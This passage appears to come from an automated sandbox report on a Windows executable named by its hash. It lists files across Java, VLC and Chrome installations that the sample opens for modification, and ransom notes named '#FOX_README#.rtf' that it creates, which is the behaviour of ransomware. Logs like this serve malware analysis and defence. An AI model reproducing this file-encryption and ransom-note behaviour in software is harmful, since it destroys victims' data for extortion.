Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-modules_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\nl.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-coredump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\pack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\content-types.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\boot_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jce.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench_1.2.1.v20140901-1244.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\ir.idl f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-settings.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.property_1.4.200.v20140214-0004.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-loaders.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.commons.codec_1.6.0.v201305230611.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-util_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\VERSION.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\tnameserv.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\fr.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-core.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-util-enumerations.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\hijrah-config-umalqura.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\extcheck.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\javacpl.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\he.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\uk.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-lib-uihandler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-attach.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\gmail.crx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.contenttype_3.4.200.v20140207-1251.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\blacklist f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ja.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedback.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-output2.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\resources.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-compat.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\launcher.win32.win32.x86_64.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\plugin.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\kinit.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\etc\visualvm.conf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\id.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\jfxrt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_CopyNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbytools.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaTypewriterBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler_1.2.0.v20140422-1847.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\AssertUnlock.rmi f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiling.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\nbexec.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvm.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine_2.3.0.v20140506-1720.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.sat4j.core_2.3.5.v201308161310.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\WriteLimit.mp3 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateComRegisterShell64.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\jni_md.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fontconfig.properties.src f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-compat.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-multitabs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\common.js f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\winamp2.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\policytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\accessibility.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf_1.1.0.v20140408-1354.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-api-caching_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\README.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\startNetworkServer.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\dsn.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\unpack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\org-openide-util.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-dialogs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_LinkDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\mix.gif 